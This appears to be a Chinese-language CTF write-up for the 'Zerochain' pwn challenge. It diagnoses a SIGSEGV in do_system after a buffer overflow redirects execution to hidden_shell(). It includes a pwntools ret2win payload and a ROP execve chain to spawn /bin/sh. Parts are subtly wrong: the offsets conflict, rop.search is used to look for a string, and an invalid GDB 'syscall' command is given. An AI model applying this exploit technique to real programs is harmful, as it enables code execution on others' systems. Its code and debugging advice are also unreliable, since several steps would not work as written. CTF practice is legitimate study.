
本文详解在 CTF 中通过精确控制返回地址触发隐藏函数 hidden_shell() 后,为何程序仍因 SIGSEGV 崩溃,并提供可落地的栈布局分析、payload 构造技巧与绕过常见崩溃点(如 do_system 缺失环境)的完整调试与利用方案。
本文详解在 ctf 中通过精确控制返回地址触发隐藏函数 `hidden_shell()` 后,为何程序仍因 sigsegv 崩溃,并提供可落地的栈布局分析、payload 构造技巧与绕过常见崩溃点(如 `do_system` 缺失环境)的完整调试与利用方案。
在你描述的 Zerochain CTF 题目中,vulnerable_log() 存在栈缓冲区溢出漏洞,目标是劫持控制流跳转至 hidden_shell()(地址 0x4015b6),进而执行 /bin/sh 获取交互式 shell。你的 GDB 调试已证实关键路径被成功触发:程序确实进入了 hidden_shell(),并在其中调用了 system("/bin/sh") —— 但最终因 SIGSEGV 崩溃于 do_system 内部。这并非利用失败,而是环境缺失导致的典型运行时崩溃。
? 根本原因分析:system() 的隐式依赖
system() 并非原子系统调用,它会通过 fork() + execve() 执行 /bin/sh,其底层依赖:
- 可执行的
/bin/sh解释器(通常存在,可验证); -
有效的
libc运行时环境(尤其是environ指针、__libc_start_main上下文); -
干净的栈与寄存器状态(若溢出污染了
RSP、RBP或关键寄存器,do_system在 setup 阶段即崩溃)。
你遇到的错误:
Program received signal SIGSEGV, Segmentation fault. 0x00007ffff7e045d4 in do_system (line=0x402113 "/bin/sh")
说明 system() 函数体已开始执行,但访问了非法内存(如 environ 为空、栈帧损坏、或 libc 地址空间被 ASLR 干扰)。尤其注意:你使用的是硬编码地址 0x4015b6(hidden_shell),但 system@plt 或其参数 /bin/sh 字符串地址(0x402113)可能因 PIE/ASLR 启用而失效——尽管题目未开启 PIE(地址固定),仍需确认 system 是否被正确解析。
✅ 正确的利用链设计(推荐方案)
避免依赖脆弱的 system(),改用更鲁棒的 execve("/bin/sh", NULL, NULL) 系统调用:
from pwn import *
# 假设已通过 leak 获取 libc_base(或题目禁用 ASLR,可静态计算)
# 若无 leak,优先尝试 ret2libc 或直接 syscall
context.arch = 'amd64'
context.os = 'linux'
# Step 1: 触发 vulnerable_log → 覆盖返回地址为 hidden_shell
# 注意:需准确计算溢出偏移(你当前用 123+9=132 字节,需验证)
offset = 136 # 典型 x86_64 栈帧:buf + saved_rbp + ret_addr(建议用 cyclic + pattern_offset 验证)
# Step 2: 构造 payload:覆盖返回地址为 hidden_shell,但需确保其内部调用安全
# 更优解:跳转到 hidden_shell 的 *开头*(0x4015b6),而非中间偏移
payload = b"A" * offset
payload += p64(0x4015b6) # hidden_shell entry point
# Step 3: 绕过 system() 崩溃 → 改用 syscall execve
# 若 hidden_shell 内联了 system(),则需 patch 或重定向
# 替代方案:ROP 调用 execve(需 gadgets)
rop = ROP('./zerochain')
rop.execve(next(rop.search(b'/bin/sh')), 0, 0)
# 生成 chain: rop.chain()⚠️ 关键注意事项
-
偏移量必须精准:
123+9是猜测值。务必在 GDB 中用cyclic 200输入,崩溃后cyclic -l $rsp确认RIP覆盖偏移。 -
栈对齐检查:x86_64 下
system()要求栈 16 字节对齐(rsp % 16 == 0),否则do_system可能崩溃。在hidden_shell返回前插入ret;或pop rdi; ret对齐。 -
环境变量干扰:CTF 环境常清空
env,导致system()内部execve失败。直接execve不依赖PATH。 -
GDB 与真实环境差异:GDB 默认禁用 ASLR(
checksec确认),但远程服务可能启用。若远程失败,需先 leak libc 地址。
? 快速验证技巧
在 GDB 中手动验证 execve 可行性:
# 在 hidden_shell 内部断点后 (gdb) set $rax = 59 # sys_execve (gdb) set $rdi = 0x402113 # "/bin/sh" (gdb) set $rsi = 0 (gdb) set $rdx = 0 (gdb) syscall
若成功,说明系统调用路径可用,应优先构建 execve ROP chain。
总结:你的缓冲区溢出已成功,崩溃源于 system() 的运行时依赖未满足。放弃对 system 的直接调用,转向 execve 系统调用或确保 system 调用前的栈/寄存器状态完备,即可稳定获得 shell。

















